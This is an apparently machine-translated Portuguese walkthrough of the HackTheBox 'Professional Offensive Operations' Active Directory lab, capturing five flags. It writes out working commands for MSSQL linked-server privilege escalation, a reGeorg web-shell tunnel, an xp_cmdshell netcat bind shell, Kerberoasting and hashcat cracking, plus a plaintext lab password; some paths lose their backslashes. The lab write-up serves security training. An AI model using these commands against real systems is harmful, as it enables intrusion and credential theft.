HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Neste artigo, analisaremos a passagem não apenas de uma máquina, mas de todo um mini-laboratório do local HackTheBox.

Conforme declarado na descrição, o POO foi projetado para testar habilidades em todos os estágios de ataques em um pequeno ambiente do Active Directory. O objetivo é comprometer um host disponível, escalar privilégios e, eventualmente, comprometer todo o domínio coletando 5 sinalizadores no processo.

A conexão com o laboratório é via VPN. Recomenda-se não se conectar de um computador em funcionamento ou de um host onde haja dados importantes para você, pois você entra em uma rede privada com pessoas que sabem algo sobre segurança da informação 🙂

informações organizacionais
Para que você fique sabendo de novos artigos, softwares e outras informações, criei Canal de telegrama и grupo para discutir quaisquer questões na zona do IIKB. Também seus pedidos pessoais, perguntas, sugestões e recomendações Vou dar uma olhada e responder a todos..

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não assume nenhuma responsabilidade por qualquer dano causado a qualquer pessoa como resultado do uso do conhecimento e métodos obtidos como resultado do estudo deste documento.

Intro

Este final de jogo consiste em duas máquinas e contém 5 bandeiras.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

A descrição e o endereço do host disponível também são fornecidos.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Vamos começar!

Bandeira de reconhecimento

Esta máquina tem um endereço IP de 10.13.38.11 que adiciono a /etc/hosts.
10.13.38.11 poo.htb

A primeira etapa é verificar as portas abertas. Como leva muito tempo para verificar todas as portas com nmap, primeiro farei isso com masscan. Verificamos todas as portas TCP e UDP da interface tun0 a 500pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Agora, para obter informações mais detalhadas sobre os serviços que rodam nas portas, vamos fazer um scan com a opção -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Assim, temos os serviços IIS e MSSQL. Nesse caso, descobriremos o nome DNS real do domínio e do computador. No servidor web, somos recebidos pela página inicial do IIS.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Vamos iterar sobre os diretórios. Eu uso o gobuster para isso. Nos parâmetros especificamos o número de streams 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Assim, temos a autenticação HTTP para o diretório /admin, bem como o arquivo de armazenamento do serviço de desktop .DS_Store disponível. .DS_Store são arquivos que armazenam as configurações do usuário para uma pasta, como uma lista de arquivos, localização do ícone, imagem de fundo selecionada. Esse arquivo pode acabar no diretório do servidor da Web dos desenvolvedores da Web. Assim, obtemos informações sobre o conteúdo do diretório. Para isso você pode usar Rastreador DS_Store.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Obtemos o conteúdo do diretório. O mais interessante aqui é o diretório /dev, de onde podemos ver os fontes e os arquivos db em duas ramificações. Mas podemos usar os primeiros 6 caracteres dos nomes de arquivos e diretórios se o serviço for vulnerável ao IIS ShortName. Você pode verificar essa vulnerabilidade usando Scanner de nome abreviado do IIS.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E encontramos um arquivo de texto que começa com "poo_co". Sem saber o que fazer a seguir, simplesmente selecionei no dicionário de diretórios todas as palavras que começam com "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

E iterar com wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E encontre a palavra certa! Olhamos para este arquivo, salvamos as credenciais (a julgar pelo parâmetro DBNAME, são do MSSQL).

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Entregamos a bandeira e avançamos 20%.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

hein bandeira

Nós nos conectamos ao MSSQL, eu uso o DBeaver.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Não achamos nada de interessante nesse banco de dados, vamos criar um Editor SQL e verificar quais são os usuários.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Temos dois usuários. Vamos verificar nossos privilégios.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Assim, não há privilégios. Vamos ver os servidores vinculados, escrevi sobre essa técnica em detalhes aqui.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Então encontramos outro SQL Server. Vamos verificar a execução dos comandos neste servidor usando openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E podemos até construir uma árvore de consulta.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

O fato é que quando fazemos uma requisição para um servidor vinculado, a requisição é executada no contexto de outro usuário! Vamos ver qual contexto de usuário estamos executando no servidor vinculado.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E agora vamos ver em que contexto a solicitação do servidor vinculado ao nosso é executada!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Portanto, é um contexto DBO que deve ter todos os privilégios. Vamos verificar os privilégios no caso de uma solicitação de um servidor vinculado.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Como você pode ver, temos todos os privilégios! Vamos criar nosso admin assim. Mas eles não deixam passar pelo openquery, vamos fazer pelo EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

E agora nos conectamos com as credenciais do novo usuário, observamos o novo banco de dados de sinalizadores.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Entregamos esta bandeira e vamos mais longe.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Sinalizador de retrocesso

Vamos pegar o shell usando MSSQL, estou usando mssqlclient do pacote impacket.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Precisamos obter senhas e a primeira coisa que já conhecemos é o site. Assim, precisamos de uma configuração de servidor web (não podemos lançar um shell conveniente, aparentemente o firewall está funcionando).

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Mas o acesso é negado. Embora possamos ler o arquivo do MSSQL, só precisamos saber quais linguagens de programação estão configuradas. E no diretório MSSQL descobrimos que existe Python.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Então não há problema em ler o arquivo web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Com as credenciais encontradas, vá para /admin e pegue o sinalizador.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

bandeira de apoio

De fato, existem alguns inconvenientes em usar um firewall, mas olhando pelas configurações de rede, notamos que o protocolo IPv6 também é usado!

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Adicione este endereço a /etc/hosts.
dead:babe::1001 poo6.htb
Vamos verificar o host novamente, mas desta vez em IPv6.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E o serviço WinRM está disponível em IPv6. Vamos nos conectar com as credenciais encontradas.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Há uma bandeira na área de trabalho, entregue-a.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

sinalizador P00ned

Após o reconhecimento do host com ervilhas não encontramos nada de especial. Decidiu-se então procurar novamente as credenciais (escrevi também neste tópico статью). Mas não consegui obter todos os SPNs do sistema via WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Vamos executar o comando via MSSQL.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Dessa forma, obtemos o SPN dos usuários p00_hr e p00_adm, o que significa que eles são vulneráveis ​​a um ataque como o Kerberoasting. Resumindo, podemos obter os hashes de suas senhas.

Primeiro você precisa obter um shell estável em nome do usuário MSSQL. Mas como temos acesso limitado, temos conexão com o host apenas pelas portas 80 e 1433. Mas é possível encapsular o tráfego pela porta 80! Para isso usamos próxima aplicação. Vamos carregar o arquivo tunnel.aspx para o diretório inicial do servidor web - C: inetpubwwwroot.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Mas quando tentamos acessá-lo, obtemos um erro 404. Isso significa que os arquivos *.aspx não são executados. Para executar arquivos com essas extensões, instale o ASP.NET 4.5 da seguinte maneira.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E agora, ao acessar tunnel.aspx, obtemos a resposta de que tudo está pronto para funcionar.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Vamos iniciar a parte cliente do aplicativo, que retransmitirá o tráfego. Encaminharemos todo o tráfego da porta 5432 para o servidor.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E usamos proxychains para enviar o tráfego de qualquer aplicativo através do nosso proxy. Vamos adicionar este proxy ao arquivo de configuração /etc/proxychains.conf.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Agora vamos carregar o programa para o servidor netcat, com o qual faremos um shell de ligação estável, e o script Invocar o Kerberoast, com o qual realizaremos o ataque Kerberoasting.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Agora, por meio do MSSQL, lançamos o ouvinte.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E nos conectamos através do nosso proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E vamos pegar os hashes.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Em seguida, você precisa iterar sobre esses hashes. Como o rockyou não tinha um dicionário de dados de senhas, usei TODOS os dicionários de senhas fornecidos em Seclists. Para enumeração, usamos hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

E encontramos as duas senhas, a primeira no dicionário dutch_passwordlist.txt e a segunda no Keyboard-Combinations.txt.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E assim temos três usuários, vamos para o controlador de domínio. Vamos descobrir o endereço dele primeiro.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Ótimo, descobrimos o endereço IP do controlador de domínio. Vamos descobrir todos os usuários do domínio, bem como qual deles é administrador. Para baixar o script para obter informações PowerView.ps1. Em seguida, nos conectaremos usando evil-winrm, especificando o diretório com o script no parâmetro -s. E então basta carregar o script do PowerView.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Agora temos acesso a todas as suas funções. O usuário p00_adm parece um usuário privilegiado, então trabalharemos em seu contexto. Vamos criar um objeto PSCredential para este usuário.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Agora todos os comandos do Powershell onde especificamos Creds serão executados em nome de p00_adm. Vamos exibir uma lista de usuários e o atributo AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

E assim, nosso usuário é realmente privilegiado. Vamos ver a que grupos ele pertence.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Por fim, confirmamos que o usuário é um administrador de domínio. Isso lhe dá o direito de fazer logon remotamente no controlador de domínio. Vamos tentar fazer login com o WinRM usando nosso túnel. Fiquei confuso com os erros emitidos por reGeorg ao usar evil-winrm.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Então usamos outro, mais fácil, roteiro para se conectar ao WinRM. Abra e altere os parâmetros de conexão.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Tentamos nos conectar e estamos no sistema.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Mas não há bandeira. Em seguida, olhe para o usuário e verifique as áreas de trabalho.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

No mr3ks encontramos a bandeira e o laboratório está 100% concluído.

HackTheBoxendgame. Passagem do laboratório de Operações Ofensivas Profissionais. Pentest Active Directory

Isso é tudo. Como feedback, comente se você aprendeu algo novo com este artigo e se foi útil para você.

Você pode se juntar a nós em Telegram. Lá você encontra materiais interessantes, cursos mesclados e também softwares. Vamos formar uma comunidade na qual haverá pessoas que entendem muitas áreas de TI, então sempre podemos nos ajudar em qualquer problema de TI e segurança da informação.

Fonte: habr.com

Adicionar um comentário